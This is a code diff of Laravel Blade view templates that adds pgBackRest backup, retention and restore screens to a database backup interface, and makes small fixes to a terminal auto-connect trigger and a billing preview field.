@if ($engine !== 'pgbackrest')
|
||||
<div class="flex gap-2 flex-col ">
|
||||
@if ($backup->database_type === 'App\Models\StandalonePostgresql' && $backup->database_id !== 0)
|
||||
<div class="w-48">
|
||||
<x-forms.checkbox label="Backup All Databases" id="dumpAll" instantSave />
|
||||
</div>
|
||||
@if (!$backup->dump_all)
|
||||
<x-forms.input label="Databases To Backup"
|
||||
helper="Comma separated list of databases to backup. Empty will include the default one."
|
||||
id="databasesToBackup" />
|
||||
@endif
|
||||
@elseif($backup->database_type === 'App\Models\StandaloneMongodb')
|
||||
<x-forms.input label="Databases To Include"
|
||||
helper="A list of databases to backup. You can specify which collection(s) per database to exclude from the backup. Empty will include all databases and collections.<br><br>Example:<br><br>database1:collection1,collection2|database2:collection3,collection4<br><br> database1 will include all collections except collection1 and collection2. <br>database2 will include all collections except collection3 and collection4.<br><br>Another Example:<br><br>database1:collection1|database2<br><br> database1 will include all collections except collection1.<br>database2 will include ALL collections."
|
||||
id="databasesToBackup" />
|
||||
@elseif($backup->database_type === 'App\Models\StandaloneMysql')
|
||||
<div class="w-48">
|
||||
<x-forms.checkbox label="Backup All Databases" id="dumpAll" instantSave />
|
||||
</div>
|
||||
@if (!$backup->dump_all)
|
||||
<x-forms.input label="Databases To Backup"
|
||||
helper="Comma separated list of databases to backup. Empty will include the default one."
|
||||
id="databasesToBackup" />
|
||||
@endif
|
||||
@elseif($backup->database_type === 'App\Models\StandaloneMariadb')
|
||||
<div class="w-48">
|
||||
<x-forms.checkbox label="Backup All Databases" id="dumpAll" instantSave />
|
||||
</div>
|
||||
@if (!$backup->dump_all)
|
||||
<x-forms.input label="Databases To Backup"
|
||||
helper="Comma separated list of databases to backup. Empty will include the default one."
|
||||
id="databasesToBackup" />
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
@endif
|
||||
<div class="flex gap-2">
|
||||
<x-forms.input label="Frequency" id="frequency" />
|
||||
<x-forms.input label="Timezone" id="timezone" disabled
|
||||
|
|
@ -87,46 +229,48 @@
|
|||
<x-forms.input label="Timeout" id="timeout" helper="The timeout of the backup job in seconds." />
|
||||
</div>
|
||||
|
||||
<h3 class="mt-6 mb-2 text-lg font-medium">Backup Retention Settings</h3>
|
||||
<div class="mb-4">
|
||||
<ul class="list-disc pl-6 space-y-2">
|
||||
<li>Setting a value to 0 means unlimited retention.</li>
|
||||
<li>The retention rules work independently - whichever limit is reached first will trigger cleanup.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="flex gap-6 flex-col">
|
||||
<div>
|
||||
<h4 class="mb-3 font-medium">Local Backup Retention</h4>
|
||||
<div class="flex gap-2">
|
||||
<x-forms.input label="Number of backups to keep" id="databaseBackupRetentionAmountLocally"
|
||||
type="number" min="0"
|
||||
helper="Keeps only the specified number of most recent backups on the server. Set to 0 for unlimited backups." />
|
||||
<x-forms.input label="Days to keep backups" id="databaseBackupRetentionDaysLocally" type="number"
|
||||
min="0"
|
||||
helper="Automatically removes backups older than the specified number of days. Set to 0 for no time limit." />
|
||||
<x-forms.input label="Maximum storage (GB)" id="databaseBackupRetentionMaxStorageLocally"
|
||||
type="number" min="0"
|
||||
helper="When total size of all backups in the current backup job exceeds this limit in GB, the oldest backups will be removed. Decimal values are supported (e.g. 0.001 for 1MB). Set to 0 for unlimited storage." />
|
||||
</div>
|
||||
@if ($engine !== 'pgbackrest')
|
||||
<h3 class="mt-6 mb-2 text-lg font-medium">Backup Retention Settings</h3>
|
||||
<div class="mb-4">
|
||||
<ul class="list-disc pl-6 space-y-2">
|
||||
<li>Setting a value to 0 means unlimited retention.</li>
|
||||
<li>The retention rules work independently - whichever limit is reached first will trigger cleanup.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
@if ($backup->save_s3)
|
||||
<div class="flex gap-6 flex-col">
|
||||
<div>
|
||||
<h4 class="mb-3 font-medium">S3 Storage Retention</h4>
|
||||
<h4 class="mb-3 font-medium">Local Backup Retention</h4>
|
||||
<div class="flex gap-2">
|
||||
<x-forms.input label="Number of backups to keep" id="databaseBackupRetentionAmountS3"
|
||||
<x-forms.input label="Number of backups to keep" id="databaseBackupRetentionAmountLocally"
|
||||
type="number" min="0"
|
||||
helper="Keeps only the specified number of most recent backups on S3 storage. Set to 0 for unlimited backups." />
|
||||
<x-forms.input label="Days to keep backups" id="databaseBackupRetentionDaysS3" type="number"
|
||||
helper="Keeps only the specified number of most recent backups on the server. Set to 0 for unlimited backups." />
|
||||
<x-forms.input label="Days to keep backups" id="databaseBackupRetentionDaysLocally" type="number"
|
||||
min="0"
|
||||
helper="Automatically removes S3 backups older than the specified number of days. Set to 0 for no time limit." />
|
||||
<x-forms.input label="Maximum storage (GB)" id="databaseBackupRetentionMaxStorageS3"
|
||||
helper="Automatically removes backups older than the specified number of days. Set to 0 for no time limit." />
|
||||
<x-forms.input label="Maximum storage (GB)" id="databaseBackupRetentionMaxStorageLocally"
|
||||
type="number" min="0"
|
||||
helper="When total size of all backups in the current backup job exceeds this limit in GB, the oldest backups will be removed. Decimal values are supported (e.g. 0.5 for 500MB). Set to 0 for unlimited storage." />
|
||||
helper="When total size of all backups in the current backup job exceeds this limit in GB, the oldest backups will be removed. Decimal values are supported (e.g. 0.001 for 1MB). Set to 0 for unlimited storage." />
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
|
||||
@if ($saveS3)
|
||||
<div>
|
||||
<h4 class="mb-3 font-medium">S3 Storage Retention</h4>
|
||||
<div class="flex gap-2">
|
||||
<x-forms.input label="Number of backups to keep" id="databaseBackupRetentionAmountS3"
|
||||
type="number" min="0"
|
||||
helper="Keeps only the specified number of most recent backups on S3 storage. Set to 0 for unlimited backups." />
|
||||
<x-forms.input label="Days to keep backups" id="databaseBackupRetentionDaysS3" type="number"
|
||||
min="0"
|
||||
helper="Automatically removes S3 backups older than the specified number of days. Set to 0 for no time limit." />
|
||||
<x-forms.input label="Maximum storage (GB)" id="databaseBackupRetentionMaxStorageS3"
|
||||
type="number" min="0"
|
||||
helper="When total size of all backups in the current backup job exceeds this limit in GB, the oldest backups will be removed. Decimal values are supported (e.g. 0.5 for 500MB). Set to 0 for unlimited storage." />
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
@endif
|
||||
</div>
|
||||
</form>
|
||||
|
|
|
|||
|
|
@ -66,6 +66,15 @@
|
|||
@endphp
|
||||
{{ $statusText }}
|
||||
</span>
|
||||
{{-- Show pgBackRest badge if this is a pgBackRest backup --}}
|
||||
@if (data_get($execution, 'engine') === 'pgbackrest')
|
||||
<span class="px-2 py-1 rounded-md text-xs font-medium bg-purple-100 text-purple-800 dark:bg-purple-900/30 dark:text-purple-200">
|
||||
pgBackRest
|
||||
@if (data_get($execution, 'pgbackrest_backup_type'))
|
||||
({{ ucfirst(data_get($execution, 'pgbackrest_backup_type')) }})
|
||||
@endif
|
||||
</span>
|
||||
@endif
|
||||
</div>
|
||||
<div class="text-gray-600 dark:text-gray-400 text-sm">
|
||||
@if (data_get($execution, 'status') === 'running')
|
||||
|
|
@ -82,54 +91,48 @@
|
|||
• Database: {{ data_get($execution, 'database_name', 'N/A') }}
|
||||
@if(data_get($execution, 'size'))
|
||||
• Size: {{ formatBytes(data_get($execution, 'size')) }}
|
||||
@elseif(data_get($execution, 'pgbackrest_repo_size'))
|
||||
• Repo Size: {{ formatBytes(data_get($execution, 'pgbackrest_repo_size')) }}
|
||||
@endif
|
||||
</div>
|
||||
<div class="text-gray-600 dark:text-gray-400 text-sm">
|
||||
Location: {{ data_get($execution, 'filename', 'N/A') }}
|
||||
@if (data_get($execution, 'engine') === 'pgbackrest' && data_get($execution, 'pgbackrest_label'))
|
||||
Label: <code class="px-1 py-0.5 bg-gray-200 dark:bg-coolgray-300 rounded text-xs">{{ data_get($execution, 'pgbackrest_label') }}</code>
|
||||
@else
|
||||
Location: {{ data_get($execution, 'filename', 'N/A') }}
|
||||
@endif
|
||||
</div>
|
||||
<div class="flex items-center gap-3 mt-2">
|
||||
<div class="text-gray-600 dark:text-gray-400 text-sm">
|
||||
Backup Availability:
|
||||
</div>
|
||||
<span @class([
|
||||
'px-2 py-1 rounded-sm text-xs font-medium',
|
||||
'bg-green-100 text-green-800 dark:bg-green-900/30 dark:text-green-200' => !data_get(
|
||||
$execution,
|
||||
'local_storage_deleted',
|
||||
false),
|
||||
'bg-gray-100 text-gray-600 dark:bg-gray-800/50 dark:text-gray-400' => data_get(
|
||||
$execution,
|
||||
'local_storage_deleted',
|
||||
false),
|
||||
])>
|
||||
<span class="flex items-center gap-1">
|
||||
@if (!data_get($execution, 'local_storage_deleted', false))
|
||||
@if (data_get($execution, 'engine') === 'pgbackrest')
|
||||
{{-- For pgBackRest, show repository status instead of local/S3 --}}
|
||||
<span class="px-2 py-1 rounded-sm text-xs font-medium bg-green-100 text-green-800 dark:bg-green-900/30 dark:text-green-200">
|
||||
<span class="flex items-center gap-1">
|
||||
<svg class="w-3 h-3" fill="currentColor" viewBox="0 0 20 20"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<path fill-rule="evenodd"
|
||||
d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z"
|
||||
clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
@else
|
||||
<svg class="w-3 h-3" fill="currentColor" viewBox="0 0 20 20"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<path fill-rule="evenodd"
|
||||
d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z"
|
||||
clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
@endif
|
||||
Local Storage
|
||||
pgBackRest Repository
|
||||
</span>
|
||||
</span>
|
||||
</span>
|
||||
@if (data_get($execution, 's3_uploaded') !== null)
|
||||
@else
|
||||
<span @class([
|
||||
'px-2 py-1 rounded-sm text-xs font-medium',
|
||||
'bg-red-100 text-red-800 dark:bg-red-900/30 dark:text-red-200' => data_get($execution, 's3_uploaded') === false && !data_get($execution, 's3_storage_deleted', false),
|
||||
'bg-green-100 text-green-800 dark:bg-green-900/30 dark:text-green-200' => data_get($execution, 's3_uploaded') === true && !data_get($execution, 's3_storage_deleted', false),
|
||||
'bg-gray-100 text-gray-600 dark:bg-gray-800/50 dark:text-gray-400' => data_get($execution, 's3_storage_deleted', false),
|
||||
'bg-green-100 text-green-800 dark:bg-green-900/30 dark:text-green-200' => !data_get(
|
||||
$execution,
|
||||
'local_storage_deleted',
|
||||
false),
|
||||
'bg-gray-100 text-gray-600 dark:bg-gray-800/50 dark:text-gray-400' => data_get(
|
||||
$execution,
|
||||
'local_storage_deleted',
|
||||
false),
|
||||
])>
|
||||
<span class="flex items-center gap-1">
|
||||
@if (data_get($execution, 's3_uploaded') === true && !data_get($execution, 's3_storage_deleted', false))
|
||||
@if (!data_get($execution, 'local_storage_deleted', false))
|
||||
<svg class="w-3 h-3" fill="currentColor" viewBox="0 0 20 20"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<path fill-rule="evenodd"
|
||||
|
|
@ -144,9 +147,36 @@
|
|||
clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
@endif
|
||||
S3 Storage
|
||||
Local Storage
|
||||
</span>
|
||||
</span>
|
||||
@if (data_get($execution, 's3_uploaded') !== null)
|
||||
<span @class([
|
||||
'px-2 py-1 rounded-sm text-xs font-medium',
|
||||
'bg-red-100 text-red-800 dark:bg-red-900/30 dark:text-red-200' => data_get($execution, 's3_uploaded') === false && !data_get($execution, 's3_storage_deleted', false),
|
||||
'bg-green-100 text-green-800 dark:bg-green-900/30 dark:text-green-200' => data_get($execution, 's3_uploaded') === true && !data_get($execution, 's3_storage_deleted', false),
|
||||
'bg-gray-100 text-gray-600 dark:bg-gray-800/50 dark:text-gray-400' => data_get($execution, 's3_storage_deleted', false),
|
||||
])>
|
||||
<span class="flex items-center gap-1">
|
||||
@if (data_get($execution, 's3_uploaded') === true && !data_get($execution, 's3_storage_deleted', false))
|
||||
<svg class="w-3 h-3" fill="currentColor" viewBox="0 0 20 20"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<path fill-rule="evenodd"
|
||||
d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z"
|
||||
clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
@else
|
||||
<svg class="w-3 h-3" fill="currentColor" viewBox="0 0 20 20"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<path fill-rule="evenodd"
|
||||
d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z"
|
||||
clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
@endif
|
||||
S3 Storage
|
||||
</span>
|
||||
</span>
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
@if (data_get($execution, 'message'))
|
||||
|
|
@ -156,36 +186,245 @@
|
|||
@endif
|
||||
<div class="flex gap-2 mt-4">
|
||||
@if (data_get($execution, 'status') === 'success')
|
||||
<x-forms.button class="dark:hover:bg-coolgray-400"
|
||||
x-on:click="download_file('{{ data_get($execution, 'id') }}')">Download</x-forms.button>
|
||||
@if (data_get($execution, 'engine') !== 'pgbackrest')
|
||||
<x-forms.button class="dark:hover:bg-coolgray-400"
|
||||
x-on:click="download_file('{{ data_get($execution, 'id') }}')">Download</x-forms.button>
|
||||
@endif
|
||||
{{-- Show Restore button for successful pgBackRest backups --}}
|
||||
@if (data_get($execution, 'engine') === 'pgbackrest' && data_get($execution, 'pgbackrest_label'))
|
||||
@can('manage', $database)
|
||||
<x-modal-confirmation
|
||||
title="Restore Database from pgBackRest Backup?"
|
||||
buttonTitle="Restore"
|
||||
isErrorButton
|
||||
submitAction="startRestore({{ data_get($execution, 'id') }})"
|
||||
:actions="[
|
||||
'This will stop the PostgreSQL database and restore it from the selected backup.',
|
||||
'All data written after this backup was taken will be permanently lost.',
|
||||
'The database will be temporarily unavailable during the restore process.',
|
||||
'After restore, the database will automatically restart.',
|
||||
]"
|
||||
confirmationText="restore"
|
||||
confirmationLabel="Please type 'restore' to confirm this action"
|
||||
shortConfirmationLabel="Confirmation" />
|
||||
@endcan
|
||||
@endif
|
||||
@endif
|
||||
@php
|
||||
$executionCheckboxes = [];
|
||||
$deleteActions = [];
|
||||
|
||||
if (!data_get($execution, 'local_storage_deleted', false)) {
|
||||
$deleteActions[] = 'This backup will be permanently deleted from local storage.';
|
||||
}
|
||||
if (data_get($execution, 'engine') === 'pgbackrest') {
|
||||
$deleteActions[] = 'This will remove the backup entry from this list.';
|
||||
$deleteActions[] = 'Note: The actual backup data in pgBackRest is managed by retention policies.';
|
||||
} else {
|
||||
if (!data_get($execution, 'local_storage_deleted', false)) {
|
||||
$deleteActions[] = 'This backup will be permanently deleted from local storage.';
|
||||
}
|
||||
|
||||
if (data_get($execution, 's3_uploaded') === true && !data_get($execution, 's3_storage_deleted', false)) {
|
||||
$executionCheckboxes[] = ['id' => 'delete_backup_s3', 'label' => 'Delete the selected backup permanently from S3 Storage'];
|
||||
}
|
||||
if (data_get($execution, 's3_uploaded') === true && !data_get($execution, 's3_storage_deleted', false)) {
|
||||
$executionCheckboxes[] = ['id' => 'delete_backup_s3', 'label' => 'Delete the selected backup permanently from S3 Storage'];
|
||||
}
|
||||
|
||||
if (empty($deleteActions)) {
|
||||
$deleteActions[] = 'This backup execution record will be deleted.';
|
||||
if (empty($deleteActions)) {
|
||||
$deleteActions[] = 'This backup execution record will be deleted.';
|
||||
}
|
||||
}
|
||||
@endphp
|
||||
<x-modal-confirmation title="Confirm Backup Deletion?" buttonTitle="Delete" isErrorButton
|
||||
submitAction="deleteBackup({{ data_get($execution, 'id') }})" :checkboxes="$executionCheckboxes"
|
||||
:actions="$deleteActions" confirmationText="{{ data_get($execution, 'filename') }}"
|
||||
confirmationLabel="Please confirm the execution of the actions by entering the Backup Filename below"
|
||||
shortConfirmationLabel="Backup Filename" 1 />
|
||||
:actions="$deleteActions" confirmationText="{{ data_get($execution, 'pgbackrest_label') ?: data_get($execution, 'filename') }}"
|
||||
confirmationLabel="Please confirm the execution of the actions by entering the Backup {{ data_get($execution, 'engine') === 'pgbackrest' ? 'Label' : 'Filename' }} below"
|
||||
shortConfirmationLabel="Backup {{ data_get($execution, 'engine') === 'pgbackrest' ? 'Label' : 'Filename' }}" />
|
||||
</div>
|
||||
</div>
|
||||
@empty
|
||||
<div class="p-4 bg-gray-100 dark:bg-coolgray-100 rounded-sm">No executions found.</div>
|
||||
@endforelse
|
||||
</div>
|
||||
{{-- Restore Confirmation Modal --}}
|
||||
@can('manage', $database)
|
||||
@if ($showRestoreModal && $restoreExecutionId)
|
||||
@php
|
||||
$restoreExecution = $executions->firstWhere('id', $restoreExecutionId);
|
||||
@endphp
|
||||
<div class="fixed inset-0 z-50 flex items-center justify-center bg-black/50" wire:key="restore-modal">
|
||||
<div class="bg-white dark:bg-coolgray-100 rounded-lg shadow-xl max-w-md w-full mx-4 p-6">
|
||||
<div class="flex items-center gap-3 mb-4">
|
||||
<div class="flex-shrink-0 w-10 h-10 rounded-full bg-red-100 dark:bg-red-900/30 flex items-center justify-center">
|
||||
<svg class="w-5 h-5 text-red-600 dark:text-red-400" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"></path>
|
||||
</svg>
|
||||
</div>
|
||||
<h3 class="text-lg font-semibold">Restore Database from pgBackRest Backup?</h3>
|
||||
</div>
|
||||
|
||||
<div class="space-y-3 mb-6">
|
||||
<div class="p-3 bg-gray-100 dark:bg-coolgray-200 rounded">
|
||||
<p class="text-sm font-medium mb-1">Backup Label:</p>
|
||||
<code class="text-sm">{{ data_get($restoreExecution, 'pgbackrest_label') }}</code>
|
||||
</div>
|
||||
|
||||
<div class="space-y-2 text-sm text-gray-600 dark:text-gray-400">
|
||||
<p class="flex items-start gap-2">
|
||||
<svg class="w-4 h-4 text-red-500 mt-0.5 flex-shrink-0" fill="currentColor" viewBox="0 0 20 20">
|
||||
<path fill-rule="evenodd" d="M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z" clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
This will stop the PostgreSQL database and restore it from the selected backup.
|
||||
</p>
|
||||
<p class="flex items-start gap-2">
|
||||
<svg class="w-4 h-4 text-red-500 mt-0.5 flex-shrink-0" fill="currentColor" viewBox="0 0 20 20">
|
||||
<path fill-rule="evenodd" d="M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z" clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
All data written after this backup was taken will be permanently lost.
|
||||
</p>
|
||||
<p class="flex items-start gap-2">
|
||||
<svg class="w-4 h-4 text-blue-500 mt-0.5 flex-shrink-0" fill="currentColor" viewBox="0 0 20 20">
|
||||
<path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
The database will be temporarily unavailable during the restore process.
|
||||
</p>
|
||||
<p class="flex items-start gap-2">
|
||||
<svg class="w-4 h-4 text-green-500 mt-0.5 flex-shrink-0" fill="currentColor" viewBox="0 0 20 20">
|
||||
<path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z" clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
After restore, the database will automatically restart.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div x-data="{ confirmValue: '' }">
|
||||
<div class="mb-4">
|
||||
<label class="block text-sm font-medium mb-2">Type <code class="px-1 py-0.5 bg-gray-200 dark:bg-coolgray-300 rounded">restore</code> to confirm:</label>
|
||||
<input type="text"
|
||||
class="w-full px-3 py-2 border border-gray-300 dark:border-coolgray-400 rounded-md bg-white dark:bg-coolgray-200 text-black dark:text-white"
|
||||
placeholder="restore"
|
||||
x-model="confirmValue" />
|
||||
</div>
|
||||
|
||||
<div class="flex justify-end gap-3">
|
||||
<x-forms.button wire:click="cancelRestore">Cancel</x-forms.button>
|
||||
<x-forms.button isError
|
||||
x-on:click="if (confirmValue === 'restore') { $wire.startRestore({{ $restoreExecutionId }}) }"
|
||||
x-bind:disabled="confirmValue !== 'restore'">
|
||||
Restore Database
|
||||
</x-forms.button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@endcan
|
||||
|
||||
{{-- Restore Progress Modal --}}
|
||||
@if ($showRestoreProgressModal && $currentRestore)
|
||||
<div class="fixed inset-0 z-50 flex items-center justify-center bg-black/50"
|
||||
wire:key="restore-progress-modal"
|
||||
@if (!$currentRestore->isFinished()) wire:poll.2000ms="pollRestoreStatus" @endif>
|
||||
<div class="bg-white dark:bg-coolgray-100 rounded-lg shadow-xl max-w-lg w-full mx-4 p-6">
|
||||
{{-- Header with status icon --}}
|
||||
<div class="flex items-center gap-3 mb-4">
|
||||
@if ($currentRestore->isRunning() || $currentRestore->isPending())
|
||||
<div class="flex-shrink-0 w-10 h-10 rounded-full bg-blue-100 dark:bg-blue-900/30 flex items-center justify-center">
|
||||
<svg class="w-5 h-5 text-blue-600 dark:text-blue-400 animate-spin" fill="none" viewBox="0 0 24 24">
|
||||
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
|
||||
<path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
|
||||
</svg>
|
||||
</div>
|
||||
@elseif ($currentRestore->isSuccess())
|
||||
<div class="flex-shrink-0 w-10 h-10 rounded-full bg-green-100 dark:bg-green-900/30 flex items-center justify-center">
|
||||
<svg class="w-5 h-5 text-green-600 dark:text-green-400" fill="currentColor" viewBox="0 0 20 20">
|
||||
<path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z" clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
</div>
|
||||
@elseif ($currentRestore->isFailed())
|
||||
<div class="flex-shrink-0 w-10 h-10 rounded-full bg-red-100 dark:bg-red-900/30 flex items-center justify-center">
|
||||
<svg class="w-5 h-5 text-red-600 dark:text-red-400" fill="currentColor" viewBox="0 0 20 20">
|
||||
<path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z" clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
</div>
|
||||
@endif
|
||||
<div>
|
||||
<h3 class="text-lg font-semibold">pgBackRest Restore</h3>
|
||||
<span @class([
|
||||
'text-sm',
|
||||
'text-blue-600 dark:text-blue-400' => $currentRestore->isRunning() || $currentRestore->isPending(),
|
||||
'text-green-600 dark:text-green-400' => $currentRestore->isSuccess(),
|
||||
'text-red-600 dark:text-red-400' => $currentRestore->isFailed(),
|
||||
])>
|
||||
{{ ucfirst($currentRestore->status) }}
|
||||
</span>
|
||||
</div>
|
||||
@if ($currentRestore->isFinished())
|
||||
<button wire:click="closeRestoreProgress" class="ml-auto text-gray-500 hover:text-gray-700 dark:hover:text-gray-300">
|
||||
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path>
|
||||
</svg>
|
||||
</button>
|
||||
@endif
|
||||
</div>
|
||||
|
||||
{{-- Progress bar for running state --}}
|
||||
@if ($currentRestore->isRunning() || $currentRestore->isPending())
|
||||
<div class="h-1 bg-gray-200 dark:bg-coolgray-300 rounded-full mb-4 overflow-hidden">
|
||||
<div class="h-full bg-blue-500 rounded-full animate-pulse" style="width: 100%"></div>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
{{-- Backup label --}}
|
||||
@if ($currentRestore->target_label)
|
||||
<div class="p-3 bg-gray-100 dark:bg-coolgray-200 rounded mb-4">
|
||||
<p class="text-sm font-medium mb-1">Backup Label:</p>
|
||||
<code class="text-sm">{{ $currentRestore->target_label }}</code>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
{{-- Status message --}}
|
||||
@if ($currentRestore->message)
|
||||
<div @class([
|
||||
'p-3 rounded mb-4',
|
||||
'bg-gray-100 dark:bg-coolgray-200' => $currentRestore->isRunning() || $currentRestore->isPending(),
|
||||
'bg-green-50 dark:bg-green-900/20 border border-green-200 dark:border-green-800' => $currentRestore->isSuccess(),
|
||||
'bg-red-50 dark:bg-red-900/20 border border-red-200 dark:border-red-800' => $currentRestore->isFailed(),
|
||||
])>
|
||||
<p class="text-sm">{{ $currentRestore->message }}</p>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
{{-- Info banner for running state --}}
|
||||
@if ($currentRestore->isRunning() || $currentRestore->isPending())
|
||||
<div class="p-3 bg-blue-50 dark:bg-blue-900/20 border border-blue-200 dark:border-blue-800 rounded mb-4">
|
||||
<p class="text-sm text-blue-800 dark:text-blue-200">
|
||||
<svg class="w-4 h-4 inline-block mr-1" fill="currentColor" viewBox="0 0 20 20">
|
||||
<path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clip-rule="evenodd"></path>
|
||||
</svg>
|
||||
The database is temporarily unavailable during restore. This modal will update automatically when the restore completes.
|
||||
</p>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
{{-- Log output (scrollable) --}}
|
||||
@if ($currentRestore->log && ($currentRestore->isFailed() || $currentRestore->isSuccess()))
|
||||
<div class="mb-4">
|
||||
<p class="text-sm font-medium mb-2">Restore Log:</p>
|
||||
<div class="max-h-48 overflow-y-auto p-3 bg-gray-900 dark:bg-black rounded">
|
||||
<pre class="text-xs text-gray-300 whitespace-pre-wrap">{{ $currentRestore->log }}</pre>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
{{-- Action buttons --}}
|
||||
<div class="flex justify-end gap-3">
|
||||
@if ($currentRestore->isFinished())
|
||||
<x-forms.button wire:click="closeRestoreProgress">
|
||||
{{ $currentRestore->isSuccess() ? 'Close' : 'Dismiss' }}
|
||||
</x-forms.button>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@endcan
|
||||
@endisset
|
||||
</div>
|
||||
|
||||
|
|
|
|||
|
|
@ -21,7 +21,8 @@
|
|||
<div>No containers are running or terminal access is disabled on this server.</div>
|
||||
@else
|
||||
<form class="w-96 min-w-fit flex gap-2 items-end" wire:submit="$dispatchSelf('connectToContainer')"
|
||||
x-data="{ autoConnected: false }" x-init="if ({{ count($containers) }} === 1 && !autoConnected) {
|
||||
x-data="{ autoConnected: false }"
|
||||
x-on:terminal-websocket-ready.window="if ({{ count($containers) }} === 1 && !autoConnected) {
|
||||
autoConnected = true;
|
||||
$nextTick(() => $wire.dispatchSelf('connectToContainer'));
|
||||
}">
|
||||
|
|
|
|||
|
|
@ -139,7 +139,7 @@
|
|||
<div class="text-xs font-bold text-neutral-500 uppercase tracking-wide pb-1.5">Due now</div>
|
||||
<div class="flex justify-between gap-6 text-sm font-bold">
|
||||
<span class="dark:text-white">Prorated charge</span>
|
||||
<span class="dark:text-warning" x-text="fmt(preview.due_now)"></span>
|
||||
<span class="dark:text-warning" x-text="fmt(preview?.due_now)"></span>
|
||||
</div>
|
||||
<p class="text-xs text-neutral-500 pt-1">Charged immediately to your payment method.</p>
|
||||
</div>
|
||||
|
|
